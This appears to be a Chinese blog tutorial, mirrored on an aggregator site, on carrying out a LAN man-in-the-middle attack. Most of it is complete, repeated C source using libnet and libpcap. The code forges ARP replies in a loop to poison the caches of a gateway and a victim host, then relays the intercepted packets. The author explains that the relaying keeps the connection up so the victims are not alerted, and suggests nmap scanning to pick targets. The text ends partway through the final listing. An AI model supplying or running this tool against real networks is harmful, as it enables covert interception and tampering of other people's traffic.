zoukankan      html  css  js  c++  java
  • 中间人攻击的原理与实现

      看风云无忌一时有些迟疑。

      那男子冷笑道:“你是新飞升的吧。妖魔吃人,人吃妖魔,这个道理你迟早会明白。莽莽大地,除却那植物之外,所有行走之物,均强于人类。你若是想不通,以后就和一些低等妖兽一般,去吃那树上的野果吧。”

    ——飞升之后 · 荧惑 风云无忌

      ·这是本文版本v1.1全部代码,添加了更充分的错误显示信息和使用方法:

      1 #include<unistd.h>
      2 #include<pcap.h>
      3 #include<time.h>
      4 #include<stdio.h>
      5 #include<stdint.h>
      6 #include<stdio.h>
      7 #include<stdlib.h>
      8 #include<string.h>
      9 #include<unistd.h>
     10 #include<libnet.h>
     11  
     12 #define MAC_ADDR_LEN 6
     13 #define IP_ADDR_LEN 4
     14 
     15 struct ethernet_ip_hdr
     16 {
     17     uint8_t  ether_dhost[6];/* destination ethernet address */
     18     uint8_t  ether_shost[6];/* source ethernet address */
     19     uint16_t ether_type;    /* protocol */
     20     uint8_t  ip_ver_hdrlen; 
     21     uint8_t  ip_tos;  
     22     uint16_t ip_total_len;         /* total length */
     23     uint16_t ip_id;          /* identification */
     24     uint16_t ip_frag;
     25     uint8_t  ip_ttl;          /* time to live */
     26     uint8_t  ip_proto;            /* protocol */
     27     uint16_t ip_hdrCRC;         /* checksum */
     28     uint8_t  ip_src[4];
     29     uint8_t  ip_dst[4];
     30 };
     31 
     32 struct MITM_para
     33 {
     34     const uint8_t * ip_A;
     35     const uint8_t * mac_A;
     36     const uint8_t * ip_B;
     37     const uint8_t * mac_B;
     38     const uint8_t * mac_M;
     39     const char * BPF_filterStr;
     40     const char * devMitm;
     41 };
     42 
     43 int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac,
     44                            const unsigned  char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
     45                          )
     46  {
     47          static char padPtr[18];
     48          libnet_t *net_t = NULL; 
     49          char err_buf[LIBNET_ERRBUF_SIZE];
     50          libnet_ptag_t p_tag; 
     51          unsigned int i=0;
     52  
     53          //printf("the src_ip_str is ,uint32 src_ip is %d
    ",src_ip);
     54          //printf("the dst_ip_str is ,uint32 dst_ip is %d
    ",dst_ip);
     55          
     56          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
     57          if(net_t == NULL)
     58          {
     59                  printf("libnet_init error
    ");
     60                  return 2;
     61          }
     62  
     63          p_tag = libnet_build_arp(
     64                          ARPHRD_ETHER,//hardware type ethernet
     65                          ETHERTYPE_IP,//protocol type
     66                          MAC_ADDR_LEN,//mac length
     67                          IP_ADDR_LEN,//protocol length
     68                          arpOp,//op type
     69                          (u_int8_t *)src_mac,//source mac addr
     70                          (u_int8_t *)src_ip,//source ip addr
     71                          (u_int8_t *)dst_mac,//dest mac addr
     72                          (u_int8_t *)dst_ip,//dest ip  addr
     73                          padPtr,//payload
     74                          18,//payload length
     75                          net_t,//libnet context
     76                          0//0 stands to build a new one
     77          );
     78          
     79          if(-1 == p_tag)
     80          {
     81                  printf("libnet_build_arp error:
    ");
     82                  printf("ForgeAndSendArp: %s",net_t->err_buf);
     83                  libnet_destroy(net_t);
     84                  return 3;
     85          }
     86  
     87          p_tag = libnet_build_ethernet(//create ethernet header
     88                          (u_int8_t *)dst_mac,//dest mac addr
     89                          (u_int8_t *)src_mac,//source mac addr
     90                          ETHERTYPE_ARP,//protocol type
     91                         padPtr,//payload
     92                         0,//payload length
     93                          net_t,//libnet context
     94                          0//0 to build a new one
     95          );
     96  
     97          if(-1 == p_tag)
     98          {
     99                  printf("libnet_build_ethernet error!
    ");
    100                  printf("ForgeAndSendArp: %s",net_t->err_buf);
    101                  libnet_destroy(net_t);
    102                  return 4;
    103          }
    104          
    105          int res;
    106          i=0;
    107          for(;i<sendTimes;i++)
    108            if(-1 == (res = libnet_write(net_t)))
    109            {
    110                  printf("A libnet_write error!
    ");
    111                  printf("ForgeAndSendArp: %s",net_t->err_buf);
    112                  libnet_destroy(net_t);
    113                  return 5;
    114            }
    115          
    116          libnet_destroy(net_t);
    117          return 0;
    118  FAIL:        
    119          libnet_destroy(net_t);
    120                  return 6;
    121  }
    122 
    123 void ArpSpoof(
    124           const uint8_t * ip_A, const uint8_t * mac_A,
    125       const uint8_t * ip_B, const uint8_t * mac_B,
    126       const uint8_t * mac_M,
    127           const char * devMitm
    128          )
    129 {
    130   //
    131   /*
    132     arp-reply: M->A B is at M
    133     arp-reply: M->B A is at M
    134   */ 
    135   while(1)
    136   {  
    137   usleep(500000);
    138   ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );
    139       
    140   usleep(500000);
    141   ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );
    142   }
    143 }
    144 
    145 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,
    146                    const unsigned char * dst_mac,const unsigned char * src_mac,
    147                                const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength
    148                                )
    149 {
    150          libnet_t *net_t = NULL; 
    151          char err_buf[LIBNET_ERRBUF_SIZE];
    152          libnet_ptag_t p_tag; 
    153          unsigned int i=0;
    154          
    155      //init the libnet context structure
    156          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
    157          if(net_t == NULL)
    158          {
    159                  printf("libnet_init error
    ");
    160                  return 1;
    161          }
    162       
    163       //build the ethernet packet
    164          p_tag = libnet_build_ethernet(//create ethernet header
    165                          dst_mac,//dest mac addr
    166                          src_mac,//source mac addr
    167                          protoType,//protocol type
    168                          padPtr,//payload
    169                          padLength,//payload length
    170                          net_t,//libnet context
    171                          0//0 to build a new one
    172          );
    173          if(-1 == p_tag)
    174          {
    175                  printf("libnet_build_ethernet error!
    ");
    176                  printf("BuildAndSendEthernetPacket: %s",net_t->err_buf);
    177                  goto FAIL;
    178          }
    179          
    180          for(i=0;i<sendTimes;i++)
    181            if(-1 == libnet_write(net_t))
    182            {
    183                  printf("B libnet_write error!
    ");
    184                  printf("BuildAndSendEthernetPacket: %s",net_t->err_buf);
    185                  goto FAIL;
    186            }
    187          
    188          libnet_destroy(net_t);
    189          return 0;
    190      FAIL:        
    191          libnet_destroy(net_t);
    192          return 1;
    193 }
    194 
    195 
    196 
    197 void getPacketCallBack(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
    198 {
    199   int i;
    200   const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;
    201   unsigned int    sendTimes=1;
    202   const uint16_t  etherProto=0x0800;
    203   const char    * dev=mitmParaPtr->devMitm;
    204   const uint8_t * ether_Ahost=mitmParaPtr->mac_A;  
    205   const uint8_t * ether_Bhost=mitmParaPtr->mac_B;
    206   const uint8_t * ether_Mhost=mitmParaPtr->mac_M;    
    207   const uint8_t * A_IP=mitmParaPtr->ip_A;
    208   const uint8_t * B_IP=mitmParaPtr->ip_B;
    209   const struct    ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr *  ) packet;  
    210 
    211   if (
    212        (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 
    213        //&& 
    214        //(0==memcmp(hdrPtr->ip_dst,B_IP,4))
    215      )
    216   { // packet: A send to B
    217      printf(" :) ether src A && ip dst B
    ");
    218      BuildAndSendEthernetPacket(dev,sendTimes,
    219                 ether_Bhost,ether_Mhost,
    220                 //dst_mac,  src_mac,
    221                                 etherProto,packet+14,pkthdr->len-14
    222                                );
    223   } 
    224   else if (
    225        (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 
    226        //&& 
    227        //(0==memcmp(hdrPtr->ip_dst,A_IP,4))
    228      )
    229   { // packet: B send to A
    230      printf("ether src B && ip dst A
    ");
    231      BuildAndSendEthernetPacket(dev,sendTimes,
    232                 ether_Ahost,ether_Mhost,
    233                 //dst_mac,  src_mac,
    234                 etherProto,packet+14,pkthdr->len-14
    235                                );
    236   }  
    237 }
    238 
    239 
    240 int mitm_forwarder(
    241        const uint8_t * ip_A, const uint8_t * mac_A,
    242       const uint8_t * ip_B, const uint8_t * mac_B,
    243       const uint8_t * mac_M,const char * BPF_filterStr,
    244           const char * devMitm
    245         )
    246 //BPF_filterStr: ether dst mac_M  and ip  
    247 {
    248   char errBuf[PCAP_ERRBUF_SIZE], * devStr;
    249   struct bpf_program filter;
    250 
    251   struct MITM_para mitmPara;
    252 
    253   mitmPara.ip_A=ip_A;
    254   mitmPara.mac_A=mac_A;
    255 
    256   mitmPara.ip_B=ip_B;
    257   mitmPara.mac_B=mac_B;
    258 
    259   mitmPara.mac_M=mac_M;
    260 
    261   mitmPara.BPF_filterStr=BPF_filterStr;
    262   mitmPara.devMitm=devMitm;  
    263 
    264   /* get a device */
    265   devStr = pcap_lookupdev(errBuf);
    266   
    267   if(devStr)
    268   {
    269     printf("success: device: %s
    ", devStr);
    270   }
    271   else
    272   {
    273     printf("error: %s
    ", errBuf);
    274     exit(1);
    275   }
    276   
    277   /* open a device, wait until a packet arrives */
    278   pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);
    279   
    280   if(!device)
    281   {
    282     printf("error: pcap_open_live(): %s
    ", errBuf);
    283     exit(1);
    284   }
    285   // ether dst 00:11:22:33:44:55  and ip
    286   pcap_compile( device,&filter,BPF_filterStr,1,0 );  
    287   pcap_setfilter(device ,&filter );
    288   /* wait loop forever */
    289   pcap_loop(device, -1, getPacketCallBack,( u_char * ) &mitmPara);
    290   
    291   pcap_close(device);
    292 
    293   return 0;  
    294 }
    295 
    296 
    297 /*
    298         gw            kali
    299    192.168.1.1            192.168.1.108
    300 14:E6:E4:94:B4:D6       00:7B:05:03:8E:90
    301         A                        B
    302 
    303              00:11:22:33:44:55
    304                     M
    305 被攻击者:
    306   ip_A mac_A 
    307   ip_B mac_B
    308 中间人:
    309  mac_B
    310 中间人所选用的网络设备:
    311  devMitm : 如 "eth0"
    312 中间人所用BPF过滤规则:
    313  BPF_filterStr : 格式是 "ether  dst 00:11:22:33:44:55 and ip "
    314  其中 00:11:22:33:44:55 是中间人eth0的mac,只需要按情况替换之即可
    315  建议使用形如 " nmap -sP 192.168.0.0/24 " 的命令扫描您所在的局域网,以搜集必要的信息。
    316  实验时,A可选用网关,B为局域网内一普通victim主机,M为您的主机,这样会更加清晰。
    317 
    318 */
    319 
    320 void main()
    321 
    322 {
    323     uint8_t ip_A[4]={172,16,0,1};
    324     uint8_t mac_A[6]={0x00,0x17,0x31,0x58,0xac,0x85};
    325     
    326     uint8_t ip_B[4]={172,16,31,99};
    327     uint8_t mac_B[6]={0x00,0x11,0x22,0x33,0x44,0x56};
    328     
    329     uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
    330     
    331     //BPF_filterStr: ether dst mac_M  and ip
    332     char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
    333     char * devMitm="eth0";
    334 
    335   //local
    336   pid_t sonPid;
    337   
    338   sonPid=fork();
    339   if( sonPid==-1 )
    340   {//failure
    341     printf("failure:mitm fork error :( 
    ");
    342   }
    343   else if(sonPid==0)
    344   {//child
    345     printf("child : pid:%d:)
    ",getpid());
    346     ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 
    347   }
    348   else
    349   {//parent
    350     printf("parent: pid:%d sonPid:%d :)
    ",getpid(),sonPid);
    351     sleep(2);
    352     mitm_forwarder(
    353        ip_A,mac_A,
    354       ip_B,mac_B,
    355       mac_M,BPF_filterStr,
    356           devMitm
    357         );
    358   }
    359 }
    View Code

      下面是整篇文章的鸟瞰图:(读者应该了解局域网ARP协议,如需要,请看文章《ARP数据包伪造》)

      上图便是局域网中的中间人攻击的大概思想,下面给出具体的实现方法:


     

    (备注:右键另存为 大图较清晰)

    实现"中间人"的情景,有两个关键点:

        · ARP欺骗:目的是将通信双方的数据包流经中间人。

        · 数据包分析、篡改与转发:维持通信双发的通信链接不至于中断,以免对方警觉,这样才能顺利进行下一步的行动。

      第一步:ArpSpoof

    (备注:右键另存为 大图较清晰) 

      ArpSpoof模块的源码如下:

      1  #include <stdio.h>
      2  #include <stdlib.h>
      3  #include <string.h>
      4  #include <unistd.h>
      5  #include <libnet.h>
      6  #include <unistd.h>
      7  #define MAC_ADDR_LEN 6
      8  #define IP_ADDR_LEN 4
      9  int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
     10                      unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
     11                          )
     12  {
     13          static char padPtr[18];
     14          libnet_t *net_t = NULL; 
     15          char err_buf[LIBNET_ERRBUF_SIZE];
     16          libnet_ptag_t p_tag; 
     17          unsigned int i=0;
     18  
     19          printf("the src_ip_str is ,uint32 src_ip is %d
    ",src_ip);
     20          printf("the dst_ip_str is ,uint32 dst_ip is %d
    ",dst_ip);
     21          
     22          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
     23          if(net_t == NULL)
     24          {
     25                  printf("libnet_init error
    ");
     26                  return 2;
     27          }
     28  
     29          p_tag = libnet_build_arp(
     30                          ARPHRD_ETHER,//hardware type ethernet
     31                          ETHERTYPE_IP,//protocol type
     32                          MAC_ADDR_LEN,//mac length
     33                          IP_ADDR_LEN,//protocol length
     34                          arpOp,//op type
     35                          (u_int8_t *)src_mac,//source mac addr
     36                          (u_int8_t *)src_ip,//source ip addr
     37                          (u_int8_t *)dst_mac,//dest mac addr
     38                          (u_int8_t *)dst_ip,//dest ip  addr
     39                          padPtr,//payload
     40                          18,//payload length
     41                          net_t,//libnet context
     42                          0//0 stands to build a new one
     43          );
     44          
     45          if(-1 == p_tag)
     46          {
     47                  printf("libnet_build_arp error
    ");
     48                  libnet_destroy(net_t);
     49                  return 3;
     50          }
     51  
     52          p_tag = libnet_build_ethernet(//create ethernet header
     53                          (u_int8_t *)dst_mac,//dest mac addr
     54                          (u_int8_t *)src_mac,//source mac addr
     55                          ETHERTYPE_ARP,//protocol type
     56                         padPtr,//payload
     57                         0,//payload length
     58                          net_t,//libnet context
     59                          0//0 to build a new one
     60          );
     61  
     62          if(-1 == p_tag)
     63          {
     64                  printf("libnet_build_ethernet error!
    ");
     65                  libnet_destroy(net_t);
     66                  return 4;
     67          }
     68          
     69          int res;
     70          i=0;
     71          for(;i<sendTimes;i++)
     72            if(-1 == (res = libnet_write(net_t)))
     73            {
     74                  printf("libnet_write error!
    ");
     75                  libnet_destroy(net_t);
     76                  return 5;
     77            }
     78          
     79          libnet_destroy(net_t);
     80          return 0;
     81  FAIL:        
     82          libnet_destroy(net_t);
     83                  return 6;
     84  }
     85 
     86 /*
     87 
     88  int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
     89                      unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
     90                          )
     91 */
     92 
     93 void ArpSpoof(
     94           const uint8_t * ip_A, const uint8_t * mac_A,
     95       const uint8_t * ip_B, const uint8_t * mac_B,
     96       const uint8_t * mac_M,
     97           const char * devMitm
     98          )
     99 {
    100   //
    101   /*
    102     arp-reply: M->A B is at M
    103     arp-reply: M->B A is at M
    104   */ 
    105   while(1)
    106   {  
    107   usleep(500000);
    108   ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );
    109       
    110   usleep(500000);
    111   ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );
    112   }
    113   /*
    114   char * dev=devMitm;
    115   unsigned char src_mac[6] ={ 0x11,0x11,0x11,0x11,0x11,0x11 };
    116   unsigned char dst_mac[6] ={ 0x12,0x11,0x11,0x11,0x11,0x11 };
    117   unsigned char src_ip[4]={11,22,11,11};
    118   unsigned char dst_ip[4]={11,23,11,11};
    119   printf(":)
    ");
    120   printf("%s
    ",src_ip_str);
    121   while(1)
    122     ForgeAndSendArp(dev,src_mac,dst_mac,src_ip,dst_ip,1,3
    123                      );
    124   */
    125 }
    126 /*
    127         gw            kali
    128    192.168.1.1            192.168.1.132
    129 14:E6:E4:94:B4:D6       00:0C:29:A4:AC:26
    130         A                        B
    131 
    132              00:11:22:33:44:55
    133                     M
    134 
    135 */
    136 void main()
    137 {
    138 
    139   uint8_t ip_A[4]={192,168,1,1};
    140   uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
    141 
    142   uint8_t ip_B[4]={192,168,1,108};
    143   uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
    144 
    145   uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
    146 
    147   char * devMitm="eth0";
    148   while(1)
    149   ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 
    150 
    151 }
    152 
    153 /*
    154 void ArpSpoof(
    155           const uint8_t * ip_A, const uint8_t * mac_A,
    156       const uint8_t * ip_B, const uint8_t * mac_B,
    157       const uint8_t * mac_M,
    158           const char * devMitm
    159          )
    160 */
    View Code

      第二步:数据包分析、转发

      这里仅转发IP数据包,于是,我们以较简单的icmp-request & icmp-reply 为例:

      mitm-forwarder模块的源码如下:

      1 #include <pcap.h>
      2 #include <time.h>
      3 #include <stdlib.h>
      4 #include <stdio.h>
      5 #include <string.h>
      6 #include <stdint.h>
      7 #include <stdio.h>
      8 #include <stdlib.h>
      9 #include <string.h>
     10 #include <unistd.h>
     11 #include <libnet.h>
     12 
     13 #define MAC_ADDR_LEN 6
     14 #define IP_ADDR_LEN 4
     15 
     16 struct ethernet_ip_hdr
     17 {
     18     uint8_t  ether_dhost[6];/* destination ethernet address */
     19     uint8_t  ether_shost[6];/* source ethernet address */
     20     uint16_t ether_type;    /* protocol */
     21     uint8_t  ip_ver_hdrlen; 
     22     uint8_t  ip_tos;  
     23     uint16_t ip_total_len;         /* total length */
     24     uint16_t ip_id;          /* identification */
     25     uint16_t ip_frag;
     26     uint8_t  ip_ttl;          /* time to live */
     27     uint8_t  ip_proto;            /* protocol */
     28     uint16_t ip_hdrCRC;         /* checksum */
     29     uint8_t  ip_src[4];
     30     uint8_t  ip_dst[4];
     31 };
     32 
     33 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,
     34                    const unsigned char * dst_mac,const unsigned char * src_mac,
     35                                const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength
     36                                )
     37 {
     38          libnet_t *net_t = NULL; 
     39          char err_buf[LIBNET_ERRBUF_SIZE];
     40          libnet_ptag_t p_tag; 
     41          unsigned int i=0;
     42          
     43      //init the libnet context structure
     44          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
     45          if(net_t == NULL)
     46          {
     47                  printf("libnet_init error
    ");
     48                  return 1;
     49          }
     50       
     51       //build the ethernet packet
     52          p_tag = libnet_build_ethernet(//create ethernet header
     53                          dst_mac,//dest mac addr
     54                          src_mac,//source mac addr
     55                          protoType,//protocol type
     56                          padPtr,//payload
     57                          padLength,//payload length
     58                          net_t,//libnet context
     59                          0//0 to build a new one
     60          );
     61          if(-1 == p_tag)
     62          {
     63                  printf("libnet_build_ethernet error!
    ");
     64                  goto FAIL;
     65          }
     66          
     67          for(i=0;i<sendTimes;i++)
     68            if(-1 == libnet_write(net_t))
     69            {
     70                  printf("libnet_write error!
    ");
     71                  goto FAIL;
     72            }
     73          
     74          libnet_destroy(net_t);
     75          return 0;
     76      FAIL:        
     77          libnet_destroy(net_t);
     78          return 1;
     79 }
     80 
     81 
     82 struct MITM_para
     83 {
     84     const uint8_t * ip_A;
     85     const uint8_t * mac_A;
     86     const uint8_t * ip_B;
     87     const uint8_t * mac_B;
     88     const uint8_t * mac_M;
     89     const char * BPF_filterStr;
     90     const char * devMitm;
     91 };
     92 
     93 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
     94 {
     95   int i;
     96   const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;
     97   unsigned int    sendTimes=1;
     98   const uint16_t  etherProto=0x0800;
     99   const char    * dev=mitmParaPtr->devMitm;
    100   const uint8_t * ether_Ahost=mitmParaPtr->mac_A;  
    101   const uint8_t * ether_Bhost=mitmParaPtr->mac_B;
    102   const uint8_t * ether_Mhost=mitmParaPtr->mac_M;    
    103   const uint8_t * A_IP=mitmParaPtr->ip_A;
    104   const uint8_t * B_IP=mitmParaPtr->ip_B;
    105   const struct    ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr *  ) packet;  
    106 
    107   if (
    108        (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 
    109        //&& 
    110        //(0==memcmp(hdrPtr->ip_dst,B_IP,4))
    111      )
    112   { // packet: A send to B
    113      printf(" :) ether src A && ip dst B
    ");
    114      BuildAndSendEthernetPacket(dev,sendTimes,
    115                 ether_Bhost,ether_Mhost,
    116                 //dst_mac,  src_mac,
    117                                 etherProto,packet+14,pkthdr->len-14
    118                                );
    119   } 
    120   else if (
    121        (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 
    122        //&& 
    123        //(0==memcmp(hdrPtr->ip_dst,A_IP,4))
    124      )
    125   { // packet: B send to A
    126      printf("ether src B && ip dst A
    ");
    127      BuildAndSendEthernetPacket(dev,sendTimes,
    128                 ether_Ahost,ether_Mhost,
    129                 //dst_mac,  src_mac,
    130                                 etherProto,packet+14,pkthdr->len-14
    131                                );
    132   }  
    133 
    134 }
    135 
    136 
    137 int mitm_forwarder(
    138        const uint8_t * ip_A, const uint8_t * mac_A,
    139       const uint8_t * ip_B, const uint8_t * mac_B,
    140       const uint8_t * mac_M,const char * BPF_filterStr,
    141           const char * devMitm
    142         )
    143 //BPF_filterStr: ether dst mac_M  and ip  
    144 {
    145   char errBuf[PCAP_ERRBUF_SIZE], * devStr;
    146   struct bpf_program filter;
    147 
    148   struct MITM_para mitmPara;
    149 
    150   mitmPara.ip_A=ip_A;
    151   mitmPara.mac_A=mac_A;
    152 
    153   mitmPara.ip_B=ip_B;
    154   mitmPara.mac_B=mac_B;
    155 
    156   mitmPara.mac_M=mac_M;
    157 
    158   mitmPara.BPF_filterStr=BPF_filterStr;
    159   mitmPara.devMitm=devMitm;  
    160 
    161   /* get a device */
    162   devStr = pcap_lookupdev(errBuf);
    163   
    164   if(devStr)
    165   {
    166     printf("success: device: %s
    ", devStr);
    167   }
    168   else
    169   {
    170     printf("error: %s
    ", errBuf);
    171     exit(1);
    172   }
    173   
    174   /* open a device, wait until a packet arrives */
    175   pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);
    176   
    177   if(!device)
    178   {
    179     printf("error: pcap_open_live(): %s
    ", errBuf);
    180     exit(1);
    181   }
    182   // ether dst 00:11:22:33:44:55  and ip
    183   pcap_compile( device,&filter,BPF_filterStr,1,0 );  
    184   pcap_setfilter(device ,&filter );
    185   /* wait loop forever */
    186   pcap_loop(device, -1, getPacket,( u_char * ) &mitmPara);
    187   
    188   pcap_close(device);
    189 
    190   return 0;  
    191 }
    192 /*
    193 
    194 int mitm_forwarder(
    195        uint8_t * ip_A,uint8_t * mac_A,
    196       uint8_t * ip_B,uint8_t * mac_B,
    197       uint8_t * mac_M,char * BPF_filterStr,
    198           char * devMitm
    199         )
    200 
    201 */
    202 void main()
    203 {
    204 
    205   uint8_t ip_A[4]={192,168,1,1};
    206   uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
    207 
    208   uint8_t ip_B[4]={192,168,1,108};
    209   uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
    210 
    211   uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
    212 
    213   //BPF_filterStr: ether dst mac_M  and ip
    214   char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
    215   char * devMitm="eth0";
    216     
    217   mitm_forwarder(
    218        ip_A,mac_A,
    219       ip_B,mac_B,
    220       mac_M,BPF_filterStr,
    221           devMitm
    222         );
    223 
    224 }
    View Code

     第三步:

       借助于进程的fork模型,将arpspoof与mitm-forwarder二者整合为一个接口:

     1 void main()
     2 
     3 {
     4     uint8_t ip_A[4]={192,168,1,1};
     5     uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};    
     6     uint8_t ip_B[4]={192,168,1,108};
     7     uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
     8     uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
     9     //BPF_filterStr: ether dst mac_M  and ip
    10     char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
    11     char * devMitm="eth0";
    12     
    13   //local
    14   pid_t sonPid;
    15   sonPid=fork();
    16   if( sonPid==-1 )
    17   {//failure
    18     printf("failure:mitm fork error :( 
    ");
    19   }
    20   else if(sonPid==0)
    21   {//child
    22     printf("child : pid:%d:)
    ",getpid());
    23     ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 
    24   }
    25   else
    26   {//parent
    27     printf("parent: pid:%d sonPid:%d :)
    ",getpid(),sonPid);
    28     sleep(2);
    29     mitm_forwarder(
    30        ip_A,mac_A,
    31       ip_B,mac_B,
    32       mac_M,BPF_filterStr,
    33       devMitm
    34         );
    35   }
    36 }

      如此,最终代码如下:

      1 #include<unistd.h>
      2 #include<pcap.h>
      3 #include<time.h>
      4 #include<stdio.h>
      5 #include<stdint.h>
      6 #include<stdio.h>
      7 #include<stdlib.h>
      8 #include<string.h>
      9 #include<unistd.h>
     10 #include<libnet.h>
     11  
     12 #define MAC_ADDR_LEN 6
     13 #define IP_ADDR_LEN 4
     14 
     15 struct ethernet_ip_hdr
     16 {
     17     uint8_t  ether_dhost[6];/* destination ethernet address */
     18     uint8_t  ether_shost[6];/* source ethernet address */
     19     uint16_t ether_type;    /* protocol */
     20     uint8_t  ip_ver_hdrlen; 
     21     uint8_t  ip_tos;  
     22     uint16_t ip_total_len;         /* total length */
     23     uint16_t ip_id;          /* identification */
     24     uint16_t ip_frag;
     25     uint8_t  ip_ttl;          /* time to live */
     26     uint8_t  ip_proto;            /* protocol */
     27     uint16_t ip_hdrCRC;         /* checksum */
     28     uint8_t  ip_src[4];
     29     uint8_t  ip_dst[4];
     30 };
     31 
     32 struct MITM_para
     33 {
     34     const uint8_t * ip_A;
     35     const uint8_t * mac_A;
     36     const uint8_t * ip_B;
     37     const uint8_t * mac_B;
     38     const uint8_t * mac_M;
     39     const char * BPF_filterStr;
     40     const char * devMitm;
     41 };
     42 
     43 int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac,
     44                            const unsigned  char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
     45                          )
     46  {
     47          static char padPtr[18];
     48          libnet_t *net_t = NULL; 
     49          char err_buf[LIBNET_ERRBUF_SIZE];
     50          libnet_ptag_t p_tag; 
     51          unsigned int i=0;
     52  
     53          //printf("the src_ip_str is ,uint32 src_ip is %d
    ",src_ip);
     54          //printf("the dst_ip_str is ,uint32 dst_ip is %d
    ",dst_ip);
     55          
     56          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
     57          if(net_t == NULL)
     58          {
     59                  printf("libnet_init error
    ");
     60                  return 2;
     61          }
     62  
     63          p_tag = libnet_build_arp(
     64                          ARPHRD_ETHER,//hardware type ethernet
     65                          ETHERTYPE_IP,//protocol type
     66                          MAC_ADDR_LEN,//mac length
     67                          IP_ADDR_LEN,//protocol length
     68                          arpOp,//op type
     69                          (u_int8_t *)src_mac,//source mac addr
     70                          (u_int8_t *)src_ip,//source ip addr
     71                          (u_int8_t *)dst_mac,//dest mac addr
     72                          (u_int8_t *)dst_ip,//dest ip  addr
     73                          padPtr,//payload
     74                          18,//payload length
     75                          net_t,//libnet context
     76                          0//0 stands to build a new one
     77          );
     78          
     79          if(-1 == p_tag)
     80          {
     81                  printf("libnet_build_arp error
    ");
     82                  libnet_destroy(net_t);
     83                  return 3;
     84          }
     85  
     86          p_tag = libnet_build_ethernet(//create ethernet header
     87                          (u_int8_t *)dst_mac,//dest mac addr
     88                          (u_int8_t *)src_mac,//source mac addr
     89                          ETHERTYPE_ARP,//protocol type
     90                         padPtr,//payload
     91                         0,//payload length
     92                          net_t,//libnet context
     93                          0//0 to build a new one
     94          );
     95  
     96          if(-1 == p_tag)
     97          {
     98                  printf("libnet_build_ethernet error!
    ");
     99                  libnet_destroy(net_t);
    100                  return 4;
    101          }
    102          
    103          int res;
    104          i=0;
    105          for(;i<sendTimes;i++)
    106            if(-1 == (res = libnet_write(net_t)))
    107            {
    108                  printf("A libnet_write error!
    ");
    109                  libnet_destroy(net_t);
    110                  return 5;
    111            }
    112          
    113          libnet_destroy(net_t);
    114          return 0;
    115  FAIL:        
    116          libnet_destroy(net_t);
    117                  return 6;
    118  }
    119 
    120 void ArpSpoof(
    121           const uint8_t * ip_A, const uint8_t * mac_A,
    122       const uint8_t * ip_B, const uint8_t * mac_B,
    123       const uint8_t * mac_M,
    124           const char * devMitm
    125          )
    126 {
    127   //
    128   /*
    129     arp-reply: M->A B is at M
    130     arp-reply: M->B A is at M
    131   */ 
    132   while(1)
    133   {  
    134   usleep(500000);
    135   ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );
    136       
    137   usleep(500000);
    138   ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );
    139   }
    140 }
    141 
    142 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,
    143                    const unsigned char * dst_mac,const unsigned char * src_mac,
    144                                const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength
    145                                )
    146 {
    147          libnet_t *net_t = NULL; 
    148          char err_buf[LIBNET_ERRBUF_SIZE];
